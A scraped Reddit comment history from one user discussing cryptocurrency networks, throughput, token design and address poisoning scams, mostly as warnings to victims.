As a developer, what do you think about the Solana blockchain explorers? They're very slow because there are so many transactions constantly being produced on the chain. Many transaction fail, and you can't find much details about what those transactions are doing. How do you find out what other dev's smart contracts are doing? On EVM blockchain explorers, I can just look up the Verified smart contract code and figure out what transactions are doing **trustlessly**, but no one's doing that on Solana. Solana blockchain explorers are very opaque and reveal almost nothing about the transactions.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 10, 2023 04:47:48
/r/CryptoCurrency/comments/10815dm/weird_transaction_in_my_coinbase_wallet_help_pls/j3pq7dg/

https://mirror.xyz/x-explore.eth/cL3d_CyNujXq8XY7ueP4omNXx_IY1EG5Dz0FD0vJ90M Address Poisoning

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 10, 2023 00:24:12
/r/CryptoCurrency/comments/107zfo2/metropolitan_bank_is_fleeing_crypto_bitcoin/j3pfuwr/

MBC is the on/offramp for both Crypto.com, Voyager, and many more CeFi platforms. Voyager is already dead, but that's definitely not good for CDC.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 9, 2023 22:54:12
/r/CryptoCurrency/comments/107gcze/a_former_ftx_employee_dani_cloud_did_a_podcast/j3ozhdd/

Employees got a $200 daily door dash budget. Insane.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 9, 2023 20:57:08
/r/Coronavirus/comments/1078rot/90_of_people_in_china_province_infected_with/j3md6wb/

Thought it was an obvious since it's almost impossible to get that high percentage. The more important thing is that this is a goverment official stating evidence that ZERO COVID doesn't work. Good luck for his safety.

Commented by /u/Maleficent_Plankton in /r/Coronavirus on January 9, 2023 10:57:33
/r/ethereum/comments/107cqi8/ama_we_are_ef_research_pt_9_11_january_2023/j3mbxul/

Besides Ethresear.ch and Fellowship of Ethereum Magicians, what other forums do your members (or you) frequently visit? Those forums are super technical, and I wouldn't expect many here to understand most of the topics. Do /r/Ethereum and /r/Ethfinance ever get brought up? How do you guys share your information back to mainstream forums and social media?

Commented by /u/Maleficent_Plankton in /r/ethereum on January 9, 2023 10:49:29
/r/CryptoCurrency/comments/107gcze/a_former_ftx_employee_dani_cloud_did_a_podcast/j3m8mgk/

50 minutes, and she was in marketing. A lot of this is about the crazy company culture.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 9, 2023 10:27:23
/r/CryptoCurrencyMeta/comments/107ctet/we_should_have_a_tip_command_that_we_can_comment/j3m728x/

I like the idea, but it would require reddit admins to add the feature. Technically you wouldn't be able to tip via a slash command since tipping requires signing a transaction. What reddit could do is run a bot to detect when tipping is used in the app, then automatically reply with a bot that the user was tipped. **They would need a new feature to allow you to tip a comment, not just a user.** And the tipping has to be done through the app. Otherwise, reddit doesn't know which comment was responsible for the tip. I've tipped multiple times, and it looks exactly the same as a normal token transfer on the blockchain. And that's why I don't do it very often. If there were a way to distinguish it, I'd tip more often.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 9, 2023 10:16:58
/r/ethdev/comments/106rcyi/introduction_to_evm_and_evm_compatible_chains/j3jh8t5/

I can let slide calling Polygon PoS a Layer 2 blockchain instead of a side-chain, but BSC is definitely not an Ethereum L2 blockchain.

Commented by /u/Maleficent_Plankton in /r/ethdev on January 8, 2023 19:13:51
/r/ethereum/comments/106cf6e/minereum_in_my_wallet/j3hpxee/

The [Ethereum version](https://etherscan.io/token/0x426CA1eA2406c07d75Db9585F22781c096e3d0E0) isn't worth anything. [BSC version](https://coinmarketcap.com/currencies/minereum-bsc/) would be worth ~$80 I doubt either of them has enough liquidity to get you anything, even if those token contracts were valid and not a scam. Minereum is one of the [most complex token contracts](https://etherscan.io/token/0x426CA1eA2406c07d75Db9585F22781c096e3d0E0#code) I've seen. I wouldn't touch it.

Commented by /u/Maleficent_Plankton in /r/ethereum on January 8, 2023 12:42:06
/r/ethfinance/comments/106bh8s/daily_general_discussion_january_8_2023/j3h7bg5/

There was a fairly-notable phishing post on r/CC yesterday where the user mistakenly sent tokens to an address that **looked very similar to his actual address** (same starting and ending characters). He originally thought he had clipboard malware that changed his address, but it turned out he actually copied to the wrong address. If you look at his PolygonScan history days before the mistakenly transaction, you can see that he was targeted multiple times. All these similar-looking address had interacted with his account in the past 2 weeks: * 0xDD1B7Ce698d0d58Cd521A9c186e6a95CF043614C (his) * 0xDd12B7E4B8e74745986DD80DDAd191D2a4d7a14C * 0xdD1f22080CF69E1B1A92D33E8f3d6a766447614c * 0xdd1b4452Ef12D5838fBed7649c9B77C90Cc4614C * 0xDD1b08cbc37C8cBBEfbA339D969439b45D06614C * 0xdD1fAF3643A67b7e9d0629F2a9230B806AF2614c **This is known as [address poisoning](https://mirror.xyz/x-explore.eth/cL3d_CyNujXq8XY7ueP4omNXx_IY1EG5Dz0FD0vJ90M).** Attackers send low-value token transactions and receive 0-value token transactions to-and-from your addresses, hoping that you accidentally pick their address in future transactions. Blockchain explorers and and some wallets will show these transactions. The recommended way to avoid getting tricked is to use an address book of whitelisted addresses. Most wallets and exchanges have an address book feature. **I've posted a comprehensive list of crypto scams here** along with best practices to avoid getting scammed: https://www.reddit.com/r/ethfinance/comments/106lsai/comprehensive_list_of_common_crypto_scams_and/ If you're active in DeFi, you'll probably come across many scams and random phishing airdrops on your accounts. Especially true on low-fee networks like Polygon PoS and BSC.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 8, 2023 10:39:31
/r/ethfinance/comments/106lsai/comprehensive_list_of_common_crypto_scams_and/j3h5jjf/

It's a fairly long list, and it's divided into multiple sections. Here's the intro: **These is a list of crypto scams and best practices to avoid them.** They are collected from many years of posts from multiple subs (CryptoScams, CryptoScamReport, Solidity, Metamask, EthDev, Ethereum, CryptoCurrency, BinanceSmartChain, 0xPolygon), CryptoTwitter, and other Medium/Substack articles. **This article starts with the zero/low-tech methods and works its way to more technical methods towards the end.** Most scams are zero/low-tech and simply use social engineering methods. The most-technical ones are really hard to detect even for those experienced in crypto. I’ve written smart contracts to test their methods, and some would trick most users other than experienced developers. There is no paywall. If you see a pop-up asking you to sign in, you can ignore it and press that continue reading button. **Table of Contents** * Part 1: Best Practices to keep your crypto safe * 1A - Basic Best Practices * 1B - Intermediate Best Practices * 1C - Advanced Best Practices * Part 2: Common Scam Tactics and Vectors of Attack * 2A - Preparation * 2B - Vectors of Attack

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 8, 2023 10:27:03
/r/CryptoCurrency/comments/105kx22/i_just_got_phished_for_5k_in_the_worst_possible/j3h3n4h/

There are many ways. There are people and bots who scan the blockchain or blockchain explorers for targets. Sometimes they go for people who have interacted with DeFi Apps, and sometimes they go for whales. On Polygon and BSC, transactions are so cheap that if you've made a dozen transactions, you'll probably get targeted for some random scam multiple times in a year. Nearly all my active accounts have been targeted by random scams and airdrops. That's why I have this article on all the various unique scams: https://mplankton.substack.com/p/comprehensive-list-of-common-crypto For more info on address poisoning, you can read about it here: https://mirror.xyz/x-explore.eth/cL3d_CyNujXq8XY7ueP4omNXx_IY1EG5Dz0FD0vJ90M

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 8, 2023 10:13:15
/r/CryptoCurrency/comments/105kx22/i_just_got_phished_for_5k_in_the_worst_possible/j3h2xi7/

I have a short explanation of it here if you search for the "Address Poisoning" section: https://mplankton.substack.com/p/comprehensive-list-of-common-crypto > This takes advantage of the fact that account addresses are long, and that you can generate public addresses that share the same starting digits as other addresses. The attacker monitors thousands of victims for their token-sending behavior. They create accounts with addresses that have the same starting characters as their victim and victim's recipient. They then transfer tokens of 0 amount to the victim's account and victim's recipient's accounts from the similar addresses. The attacker is hoping that in the future, the victims will reuse the attacker's addresses instead of the real addresses. Because the attacker is sending 0 tokens, it’s able to bypass the approval spending limit for most token contracts and fake transfers from the victim’s address to cause confusion. If you want a detailed explanation, there's this article: https://mirror.xyz/x-explore.eth/cL3d_CyNujXq8XY7ueP4omNXx_IY1EG5Dz0FD0vJ90M

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 8, 2023 10:08:02
/r/ethfinance/comments/105hh6b/daily_general_discussion_january_7_2023/j3h2r64/

Correct. And some wallets also show 0-value Txs. I have a short explanation of it here if you search for the "Address Poisoning" section: https://mplankton.substack.com/p/comprehensive-list-of-common-crypto If you want a detailed explanation, there's this article: https://mirror.xyz/x-explore.eth/cL3d_CyNujXq8XY7ueP4omNXx_IY1EG5Dz0FD0vJ90M

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 8, 2023 10:06:43
/r/CryptoCurrency/comments/105kx22/i_just_got_phished_for_5k_in_the_worst_possible/j3fy9hi/

Yep. You can generate a million addresses quickly and pick ones that match.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 8, 2023 02:29:42
/r/ethfinance/comments/105hh6b/daily_general_discussion_january_7_2023/j3fu3z4/

It was address poisoning, not clipboard malware.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 8, 2023 01:41:32
/r/CryptoCurrency/comments/105wm3t/update_i_didnt_got_any_malware_i_got_address/j3ft8gj/

No sign-up required. If you see a pop-up, just click "continue reading". Super easy to ignore.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 8, 2023 01:32:08
/r/CryptoCurrency/comments/105kx22/i_just_got_phished_for_5k_in_the_worst_possible/j3f5g9e/

I just tested it on the Coinbase Wallet before my previous post. That's how I know. I often use that wallet for the free testnet faucet.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 22:05:44
/r/CryptoCurrency/comments/105zvfp/if_quantum_computers_are_developed_that_can_break/j3f58vm/

It shouldn't have any effect on the market if Satoshi is no longer around. Only the addresses of people who forget to transfer to a newer UTXO type (e.g. dead or in jail) but are still alive will be affected. It should eventually increase prices assuming they would eventually sell on the market.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 22:04:11
/r/CryptoCurrency/comments/105kx22/i_just_got_phished_for_5k_in_the_worst_possible/j3f4obq/

Most wallets and exchanges have a feature where you can save known addresses and label them with a simple name.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 21:59:45
/r/CryptoCurrency/comments/105kx22/i_just_got_phished_for_5k_in_the_worst_possible/j3emwox/

It depends on the wallet. Metamask doesn't show 0-token Txs, but Coinbase DeFi wallet does, even if a different account initiates it. Also this [Tx 9 days ago](https://polygonscan.com/tx/0xd0ef2cff1e978325a8b7b32459cce7ea5990bbc2e5bcf61822f35d743110cd85) could be what tricked him. Attacker sent a small amount to his address, which would show up on all wallets.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 19:47:57
/r/CryptoCurrency/comments/105zvfp/if_quantum_computers_are_developed_that_can_break/j3dyou6/

Correct. Biggest Bitcoin burn in history. Historically, it has taken years for Bitcoin users to update their addresses, Bitcoin's value will probably be destroyed within months. Only 1% of addresses are using the latest update from 2 years ago.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 17:00:16
/r/ethfinance/comments/105hh6b/daily_general_discussion_january_7_2023/j3dwzvy/

I think we're talking about different things. Cardano DPoS is used for validation in the same way that Lido staking is used for validation. The difference is that what the validator does and how it performs are tracked by standardized protocol instead of off-chain.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 7, 2023 16:48:57
/r/CryptoCurrency/comments/105wm3t/update_i_didnt_got_any_malware_i_got_address/j3duizc/

You might want to go over this guide I made awhile ago: https://mplankton.substack.com/p/comprehensive-list-of-common-crypto Address poisoning is on the list (I've also added yours as another example)

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 16:32:33
/r/CryptoCurrency/comments/105wm3t/update_i_didnt_got_any_malware_i_got_address/j3dub4w/

What's crazy is that he wasn't just targeted once but **multiple times**. If you check his account over the past 2 weeks, all these similar-looking address had interacted with it hoping that he would copy one of them. * 0xDD1B7Ce698d0d58Cd521A9c186e6a95CF043614C (his) * 0xDd12B7E4B8e74745986DD80DDAd191D2a4d7a14C * 0xdD1f22080CF69E1B1A92D33E8f3d6a766447614c * 0xdd1b4452Ef12D5838fBed7649c9B77C90Cc4614C * 0xDD1b08cbc37C8cBBEfbA339D969439b45D06614C * 0xdD1fAF3643A67b7e9d0629F2a9230B806AF2614c

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 16:31:04
/r/CryptoCurrency/comments/105kx22/i_just_got_phished_for_5k_in_the_worst_possible/j3dt2cv/

What's crazy is that he was being targeted multiple times. All these similar-looking address had interacted with his account in the past 2 weeks. * 0xDD1B7Ce698d0d58Cd521A9c186e6a95CF043614C * 0xDd12B7E4B8e74745986DD80DDAd191D2a4d7a14C * 0xdD1f22080CF69E1B1A92D33E8f3d6a766447614c * 0xdd1b4452Ef12D5838fBed7649c9B77C90Cc4614C * 0xDD1b08cbc37C8cBBEfbA339D969439b45D06614C * 0xdD1fAF3643A67b7e9d0629F2a9230B806AF2614c Definitely address poisoning.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 16:22:42
/r/CryptoCurrency/comments/105kx22/i_just_got_phished_for_5k_in_the_worst_possible/j3dscix/

It's address poisoning this time. This is his Binance account: * 0xDD1B7Ce698d0d58Cd521A9c186e6a95CF043614C These are all the other addresses interacting with his main account: * 0xDd12B7E4B8e74745986DD80DDAd191D2a4d7a14C * 0xdD1f22080CF69E1B1A92D33E8f3d6a766447614c * 0xdd1b4452Ef12D5838fBed7649c9B77C90Cc4614C * 0xDD1b08cbc37C8cBBEfbA339D969439b45D06614C * 0xdD1fAF3643A67b7e9d0629F2a9230B806AF2614c Multiple attempts. He's being targeted, and he needs to use an address book.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 16:17:55
/r/CryptoCurrency/comments/105kx22/i_just_got_phished_for_5k_in_the_worst_possible/j3drp5k/

* 0xDD1B7Ce698d0d58Cd521A9c186e6a95CF043614C * 0xDd12B7E4B8e74745986DD80DDAd191D2a4d7a14C * 0xdD1f22080CF69E1B1A92D33E8f3d6a766447614c * 0xdd1b4452Ef12D5838fBed7649c9B77C90Cc4614C And not just once. Multiple attempts. Only the 1st one is yours.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 16:13:33
/r/ethfinance/comments/105hh6b/daily_general_discussion_january_7_2023/j3dpoe4/

There was a thread yesterday on r/CC with the question of: ####**"What should the ideal crypto have as a golden standard?"** Here's my ideal cryptocurrency network. Obviously, it doesn't exist, but I think we can get pretty close to achieving this: 1. **Smart contract auditing and verification** system like most EVM blockchain explorers. 1. **Accounts instead of UTXO model**. Makes it easier to audit and keep track of accounts. I've played with dApps on Cardano. Dealing with UTXOs is so messy. 1. **Very low Tx fees** like Polygon PoS and Algorand. This is still over 10x lower than current L2 fees. 1. **Moderately-high throughput** of 100+ TPS in swaps on L1 (10x faster than Ethereum), 100K combined on L2. But not too fast on L1. Otherwise, you get tons of spam and the block explorers become useless (like on Solana). 1. **Fast deterministic finality under 5-10 seconds** like many newer PoS networks. Hybrid finality is fine too as long as block production is under 5-10s. It's so nice not having to wait 30-60 minutes for your transaction. 1. **Hybrid token solution** of smart contract tokens (TRC20) and native tokens (TRC10) like Tron. The benefit of **native tokens** is that you can be sure that the token works as expected without having to worry about scams like the Squid Game Token, and they're much cheaper to use. The benefit of **smart contract tokens** is that their contract logic can be very flexible. 1. Built-in [**account security and admin roles**](https://tronscanorg.zendesk.com/hc/en-us/articles/360044172251-How-to-use-TRONSCAN-multi-signature-feature) like Tron. [Account abstraction](https://notes.ethereum.org/@vbuterin/account_abstraction_roadmap) is native on Tron. 1. Detailed **Block Explorers with direct smart contract access** like any EVM blockchain 1. **Cross-chain messaging system** like Polkadot's XCMP and Cosmos's IBC. With cross-chain messaging, you can make cross-chain tokens without bridges (though it's more expensive to use cross-chain). 1. **On-chain Delegated or Liquid PoS** like Cardano that discourages the large off-chain mining/validator pools. 1. **Moderate 20+ Nakamoto Coefficient** like Cardano 1. **Self-sustaining tokenomics model** like Ethereum. e.g. a burning mechanism or tail emissions like Dogecoin/Monero 1. Access to an easy-to-use, strongly-typed but widely-available smart contract language, e.g. Solidity 1. **Multi-chain Ecosystem** like Ethereum, Polkadot, and Cosmos. This lets the main chain's data storage grow slower. 1. **Fair launch** like Nano or IOTA. This is increasingly difficult to do nowadays, so I can settle for semi-fair.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 7, 2023 15:59:57
/r/CryptoCurrencyMeta/comments/105u326/proposal_anyone_who_comments_on_a_post_cant/j3d0d5p/

Exactly, I want both downvote those useless or misleading comments AND reply back on why those comments suck. Honestly, useful and insightful comments are rarely downvoted. It's not that bad.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 7, 2023 13:14:47
/r/CryptoCurrency/comments/105la6a/arbitrum_nova_is_now_supported_on_opensea/j3csz47/

It'll have to be a separate copy of the NFT with different Metadata. OpenSea will ban you if you use the same Metadata on a verified collection, so Reddit would need to create separate NFT collections. Not sure if OpenSea makes exceptions for big NFT minters.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 12:26:59
/r/CryptoCurrency/comments/105gklf/a_comprehensive_list_of_unique_crypto_scam/j3cfgvc/

Good question. * On Algorand, you can see **decompiled code**, but not the **original code**. It's so much harder to troubleshoot with decompiled code. It's also very slow. My browser crashes half the time when attempting to load decompiled code. Even on Ethscan, it takes a long time to decompile code. * The main Cardano explorer is starting to implement a system for showing contract code, but it's not ready yet. The button to upload code isn't available.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 10:56:13
/r/CryptoCurrency/comments/1057jsf/what_should_the_ideal_crypto_have_as_a_golden/j3cenxm/

12, 16, and 17 apply to Algorand For 8, here's [an example](https://tronscan.org/#/address/TUU3niUztrtDZVCfUtZSqwxS1kXRii41Hj/permissions) of account permissions. Notice all those separate roles that can be enabled. You can enable permissions for any other account to access your account, and it's a built-in feature. See https://developers.tron.network/docs/multi-signature

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 10:50:33
/r/CryptoCurrency/comments/105la6a/arbitrum_nova_is_now_supported_on_opensea/j3cdej3/

That's really awesome. It instantly recognized [one of my NFTs](https://opensea.io/assets/arbitrum-nova/0x1c6e444c9d2eef7dced33a2d4ec4f8e2b2c68fe1/2) that I created awhile ago, but not the other one.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 7, 2023 10:41:31
/r/CryptoCurrency/comments/1057jsf/what_should_the_ideal_crypto_have_as_a_golden/j39m5mj/

The ideal cryptocurrency doesn't exist yet. My perfect cryptocurrency would have the following: 1. Fair launch like **Nano or IOTA** 1. Smart contract ecosystem like **Ethereum** 1. Smart contract auditing and verification like **Ethereum** 1. Accounts instead of UTXO like any **EVM blockchain** 1. Burning mechanism like **Ethereum** or tail emissions like **Dogecoin/Monero** 1. On-chain Delegated or Liquid validation like **Cardano** 1. Hybrid token solution of smart contract tokens (TRC20) and native tokens (TRC10) like **Tron** 1. Built-in account security and admin roles like **Tron** 1. Detailed Block Explorers with direct smart contract access like any **EVM blockchain** 1. Cross-chain messaging system like **Polkadot's XCMP and Cosmos's IBC** 1. Moderate 20+ Nakamoto Coefficient like many **DPoS blockchains**. That's higher than Bitcoin and Ethereum. 1. Very low Tx fees like **Polygon PoS** 1. Access to strongly-typed but widely-used Javascript-based smart contract language like **Solidity** 1. Multi-chain Ecosystem like **Ethereum, Polkadot, and Cosmos** 1. **Moderately-high TPS** of at least 100+ swaps on L1, 100K combined on L2. This doesn't exist yet. 1. **Fast deterministic finality under 10 seconds** like many newer PoS networks. Hybrid finality like Gasper, Ouroborus, and Tower BFT are fine, but they need under 10s block times.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 6, 2023 18:56:56
/r/TikTokCringe/comments/104t573/they_have_really_good_moves/j38zfu7/

Competition-level WCS is amazing. I've done it before and I look embarrassingly horrible. You need talent and years of practice to be able to improve that well.

Commented by /u/Maleficent_Plankton in /r/TikTokCringe on January 6, 2023 16:27:27
/r/AlgorandOfficial/comments/104jhah/algorand_economics_model_part_2/j38v404/

The opcode budget is quite interesting. Larger Txs like [vfr-verify](https://developer.algorand.org/docs/get-details/dapps/avm/teal/opcodes/) that uses a 5700 opcode budget would need to be shared across a group budget (up to 16 Txs in a group) https://developer.algorand.org/tutorials/understanding-teal-opcode-budget/#5-expanding-the-budget

Commented by /u/Maleficent_Plankton in /r/AlgorandOfficial on January 6, 2023 16:00:35
/r/ethfinance/comments/104v2aq/faq_evm_object_format_eof/j389awc/

I'm ok with the EOF update being delayed. EOF paves the pathway for future EVM and opscode updates in the future, but it's not something urgently needed compared to withdrawals.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 6, 2023 13:47:42
/r/CryptoCurrency/comments/104wr7g/hard_lessons_in_bitcoin_case_law_shows_we_must/j3866pu/

That's heartbreaking. Old lady's own pastor stole $80K of Bitcoin from her.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 6, 2023 13:28:47
/r/CryptoCurrencyMeta/comments/1046k2n/an_obviously_botted_softshill_post_is_currently/j381m6g/

Maybe I misunderstood. What did you mean by soft-shill? I assumed you were saying that he's a Bonk shill, which I doubt based on his prior history. Or were you claiming that he's vote and comment manipulating? Or that others are manipulating the post? Or that he's botting or paying for upvotes/responses?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 6, 2023 13:01:25
/r/CryptoCurrencyMeta/comments/1046k2n/an_obviously_botted_softshill_post_is_currently/j357eqk/

Because he's not a Bonk shill. He's been active on a variety of topics. This is just moon farming. Your account, on the other hand, is completely filled with marketing posts. Seems like projection.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 5, 2023 21:51:28
/r/ethfinance/comments/102vnu4/daily_general_discussion_january_4_2023/j347lft/

I have a lot of examples here: https://mplankton.substack.com/p/comprehensive-list-of-common-crypto Skip to Part 2 of the article

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 5, 2023 17:52:11
/r/CryptoCurrency/comments/104b2a0/this_from_rtechnology_chinese_researchers_claim/j345y01/

> Honestly, most of the paper is over my head—both the lattice-reduction math and the quantum physics. When Schneier says that, this is way beyond the understanding of mortals like me without a degree in cryptography.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 5, 2023 17:41:43
/r/CryptoCurrency/comments/1049r8p/robinhood_is_a_pretty_great_onoff_ramp/j33uh7b/

Their spread is horrendous. That's how they make money.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 5, 2023 16:31:01
/r/CryptoCurrency/comments/103tvb5/fed_designs_digital_dollar_that_handles_17/j334g5u/

It's currently the top comment, but why does it need to be? I thought it was obvious from the definition: "Central Bank Digital Currency"

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 5, 2023 13:57:19
/r/CryptoCurrency/comments/103tvb5/fed_designs_digital_dollar_that_handles_17/j3346ls/

"Central Bank Digital Currency" It's literally in the name

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 5, 2023 13:55:47
/r/CryptoCurrency/comments/103tfeh/inorganic_shilling_learn_to_recognize_it_and_stay/j32dmhx/

And that's why I downvote all BONK posts (not this one). The Streisand Effect brings more attention to it, and there are always greedy people who join after hearing about it. Better to let it die in obscurity.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 5, 2023 11:17:18
/r/CryptoCurrency/comments/1035f5o/serious_blockchain_tech_in_games_is_unnecessary/j2ztw3c/

I can think of one unique example of a game that needs blockchain tech: Dark Forest. It uses zkSnarks to hide information among players. The game itself is controlled by no organization. Players can also build front end visualizations and tools for the game. But it is very different than most crypto game projects in that there is **ZERO monetization**. It's purely a game.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 4, 2023 21:08:02
/r/CryptoCurrency/comments/10355rw/the_problem_with_crypto_wallets_today_the_defi/j2xb35b/

On Ethereum, ETH is the only native token while all other tokens are smart contract tokens. Other networks like Cardano, Algorand, and Tron have custom native tokens. **Native token**: Functionally is standardized and built into the blockchain code. Every native token has a standard set of features and abilities. **ERC-20 Token**: Does whatever its smart contract code says. Has a standard set of functions and interfaces (function names, parameters, and returns are standard), but the code inside of those functions can entirely customizable. For example, I can code the **balanceOf** function to return 69.69 for everyone instead of the true balance. I can code the **transfer** function to mint or burn tokens instead of doing an actual transfer. Nothing in the blockchain code is checking that the token behaves according to community expectations.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 4, 2023 11:32:48
/r/CryptoCurrency/comments/10355rw/the_problem_with_crypto_wallets_today_the_defi/j2x7rfj/

The **first part** can be solved with a Gnosis safe, though it is more expensive to use since it's a smart contract. The **second part** is a network issue, not a wallet issue. There are many networks that can use native tokens. ERC-20 tokens afford great flexibility, but at the cost of security and standardization. You never know if a token is safe to interact with or what it'll do without reviewing its code. I'd love to see Ethereum support native tokens in addition to its existing ERC-20 tokens. Tron does this with its native TRC10 tokens and its smart contract TRC20 tokens. Best of both worlds.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 4, 2023 11:11:16
/r/ethereum/comments/1030pkl/the_problem_with_crypto_wallets_today/j2x43um/

I realize this us a Radix post, but it makes a good point. ERC-20 tokens afford great flexibility, but at the cost of security and standardization. You never know if a token is safe to interact with or what it'll do without reviewing its code. I'd love to see Ethereum support native tokens in addition to its existing ERC-20 tokens. Tron does this with its native TRC10 tokens and its smart contract TRC20 tokens. Best of both worlds.

Commented by /u/Maleficent_Plankton in /r/ethereum on January 4, 2023 10:47:34
/r/ethfinance/comments/102vnu4/daily_general_discussion_january_4_2023/j2vpcgz/

First time seeing this. Thanks.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 4, 2023 02:05:29
/r/CointestOfficial/comments/xsvuzt/top_coins_cardano_proarguments_october_2022/j2v0395/

Hi. Please use some formatting next time. It makes it so much easier to read. **Examples (bold text)**: * Bullet points ##**Headers** Double-line break for new paragraphs

Commented by /u/Maleficent_Plankton in /r/CointestOfficial on January 3, 2023 22:13:23
/r/CryptoReality/comments/102h8bp/question_about_transaction_rate/j2u3ngr/

I estimate Solana's actual TPS to be [around 400-600 TPS](https://np.reddit.com/r/MPlankton/comments/vk42tn/solana_research_june_2022/) if you exclude useless vote transactions and erroneous transactions. Their TPS metrics are very misleading because they include vote transactions. **TPS is a very hard and technical topic because of many factors**: 1. **Different types of limits**. Bitcoin use a block size limit of 4M weight per block (~2MB). Ethereum uses a gas limit of 30M gas per block with a 15M gas target. 1. **Different types of transactions have different TPS**. Basic Ethereum ETH transfers are 21k gas, which is 59 TPS at the 15M gas target, or 120 TPS at a 30M gas limit. But the chain itself operates at an average of 10-15 TPS. That's because many swap transactions use up 60-100K gas, and contract creations can easily exceed 3M gas. 1. **Most mature blockchains are very heavy in batch transactions**. For example, Bitcoin is a 3 TPS network, but if you take into [account batch transactions](https://mplankton.substack.com/p/calculating-batch-throughput-and), it's a 16 TPS network. The more batch transactions a network does, the faster it is even though the TPS metric will say it's slower. The max transfers per second Bitcoin could ever reach is ~53 with batch transactions. 1. **Many blockchains artificially limit their TPS**. They can probably go 10x faster, but they choose not to. For example, Polygon PoS has been tested to exceed 800M to 1.6B gas in 1-2 seconds (40k TPS), but it chooses to operate at 30M gas in 2 seconds (50x slower). Even the 15M gas limit chosen by Ethereum is somewhat arbitrary. The true hardware node limit could be an order of magnitude higher. 1. **Selecting a limit is dependent on hardware and code**. Nearly every EVM network (Ethereum, Polygon, etc.) has been slowly increasing its TPS by increasing the limit. That's due to a mix of arbitrary decision-making, increasing hardware limits, and the how the bottleneck is picked for that network. For Ethereum, the bottleneck is the BLS signature aggregation method used for Casper. It's quite unique in that it's one of the few PoS networks where EVERY validator participates in consensus instead of randomly selecting a subset. If they one decided to sacrifice decentralization and use sub-committees, its TPS could instantly be much faster. 1. **Some networks define transactions differently**. Solana includes useless transactions like voting transactions, which make up 80% of their transactions. Algorand doesn't have L1 batch transactions. What would be a complex transaction on EVM networks is divided into 3-10 different transactions on Algorand, so its TPS isn't equivalent. There are a few ways to semi-fairly compare throughput for blockchains, and that's by not using TPS. You'd have to compare the through speed of different types of equivalent transactions after normalizing for equivalent decentralization. For example: Once you've equalized decentralization, how fast are basic transfers, batch transfers, and swaps on each network?

Commented by /u/Maleficent_Plankton in /r/CryptoReality on January 3, 2023 18:23:55
/r/CryptoCurrency/comments/102dccr/is_ethereum_a_security/j2sylzt/

Agreed that there are ICOs whose entire goal was to create a traditional security. Many scam coins and rug pulls fall under this category and **pass** (not fail) the Howey Test. You'd have to satisfy multiple conditions: 1. A single organization or company running everything 1. If it has any utility, that utility is tied to whatever the service/product the organization is selling or providing. 1. Investment contract 1. Expectation of profits Both Bitcoin and Ethereum would fail on the 1st (no single organization) and 4th (no promise/expectation of profits) criteria. Ethereum would fail the 2nd criteria stronger than Bitcoin since it has stronger utility. Bitcoin fails the 3rd criteria while Ethereum would weakly fail it. The existence of Ethereum's $20M ICO is the only thing that is security-like, but it's only 1 out of 4 parts, and it's past the statute of limitations for the SEC. You'd have to pass all 4 criteria to be considered a security, and neither of them do.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 3, 2023 14:09:52
/r/CryptoCurrency/comments/102dccr/is_ethereum_a_security/j2swkho/

